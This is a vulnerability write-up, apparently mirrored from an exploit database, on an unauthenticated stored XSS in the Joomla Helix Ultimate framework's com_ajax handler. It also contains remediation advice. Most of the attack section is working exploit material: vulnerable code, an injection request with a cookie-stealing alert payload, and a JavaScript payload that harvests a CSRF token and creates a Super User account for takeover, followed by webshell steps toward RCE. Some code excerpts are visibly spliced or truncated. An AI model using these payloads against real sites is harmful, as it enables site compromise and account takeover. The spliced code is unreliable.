## https://sploitus.com/exploit?id=3C1235B2-6186-50CC-AB03-064D442EFFB5
# Helix Ultimate Framework — Unauthenticated Stored XSS (com_ajax) → Admin Session-Riding → Full Account Takeover
**This is the strongest finding in this research folder — CRITICAL, fully confirmed end-to-end.** Unlike the
delete-only bug in `helix_ultimate_delete_poc.md`, this one has a real, working path to full site compromise.
**Component:** JoomShaper Helix Ultimate Framework (`plg_system_helixultimate` + `shaper_helixultimate` template)
**Version tested:** 2.2.6 (GitHub `JoomShaper/helix-ultimate`, HEAD 2026-07)
**Author:** Amin İsayev / Proxima Cyber Security
---
## Summary
`plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate()` is a standard Joomla `com_ajax` plugin
event handler (`index.php?option=com_ajax&plugin=helixultimate&format=json&task=`). Joomla's core
`com_ajax` component itself enforces **no authentication whatsoever** — that is always the responsibility of the
plugin. This handler does an arbitrary static-method dispatch:
```php
public function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
```
This writes attacker-controlled JSON directly into a **live, public-facing Joomla menu item's `params`**
column — no login, no CSRF token, one HTTP request.
## The sink: `overrides/mod_menu/default.php` (real, shipped template code)
The actual distributed `shaper_helixultimate` template's `html/mod_menu/default.php` is a 1-line shim:
```php
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
```
which resolves (verified by reading `HTMLOverride.php`) to
`plugins/system/helixultimate/overrides/mod_menu/default.php` — the file that actually renders the site's main
navigation menu on **every page, for every visitor**:
```php
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo ''; // alert(document.cookie)' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
```
No CSRF token field was sent at all — not even the trivial harvested-from-homepage token the delete bug needed.
Resulting HTML served to **every subsequent visitor** of the homepage:
```html
alert(document.cookie)">Home
```
A live, browser-executable `` tag, injected with zero authentication, rendered on the single most
visited page of the site (the main navigation, present on every page via the module position, not just the
homepage).
## Escalation to full Account Takeover / RCE
This is exactly the scenario the CVE-2026-48909 folder was originally chasing, reached from a completely
different angle: **unauthenticated stored XSS + session-riding = account takeover, without ever needing to steal
a password or brute the installer.**
Any Administrator who ever opens the public site's homepage in the same browser where they are (or recently
were) logged into `/administrator` will execute attacker JavaScript with their browser's cookie jar intact.
Concept payload (not executed against a real admin session in this lab — this lab has no browser automation set
up to simulate an actual logged-in admin visiting the page; the XSS delivery itself is 100% confirmed above,
this is the well-understood, standard next step):
```html
">
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
```
Because the browser attaches whatever session cookie it holds for the site's origin to *any* same-origin
request — regardless of which tab or page triggered the JavaScript — this succeeds as long as the admin's
backend session cookie is valid in that browser at the time the frontend page is viewed. This creates a brand
new Super User account with attacker-chosen credentials. From there: log in to `/administrator`, edit any
template file (or install a new one) to add a PHP webshell → full RCE.
**Why this is stronger than the delete bug:** no write-content limitation applies here — this primitive writes
*data* (JSON into a DB column), not files, but that data is *rendered as live HTML on every page view*, which is
exactly the "write" primitive the delete bug was missing. Combined with the standard XSS→session-riding pattern,
it closes the loop the delete bug could not.
## Detection PoC — `helix_ultimate_xss_detect.py`
Non-destructive-ish: writes a harmless, inert marker string (no ``, no quotes) into `customclass` and
checks whether it comes back unescaped in the rendered homepage HTML. Restores/clears the value afterward.
## Exploit PoC — `helix_ultimate_xss_poc.py`
Writes a real `` XSS payload (default: a harmless `alert()` proof, or a custom payload via `--payload`)
into a chosen menu item's `customclass`, verifies it renders unescaped, and prints the ATO/session-riding
concept payload above. Use only with written authorization — this modifies live site data (the menu item's
saved layout) until manually cleaned up.
## Remediation
1. `onAjaxHelixultimate()` must not blindly dispatch to arbitrary methods in `HttpResponse\Response` without a
permission check — at minimum require a valid Joomla session + `Session::checkToken()` before allowing any
state-changing task (menu-saving, module list, mega-menu builder methods).
2. Independently, `overrides/mod_menu/default.php` (and any other override reading
`helixultimatemenulayout`/`customclass`) must `htmlspecialchars()` (or Joomla's `HTMLHelper::_('esc.html', ...)`)
any value pulled from menu item params before echoing it into HTML attributes — defense in depth, since
menu params are technically meant to be admin-only data but are clearly reachable by more than that here.
---
*Amin İsayev / Proxima Cyber Security — 2026. Educational / authorized-testing use only.*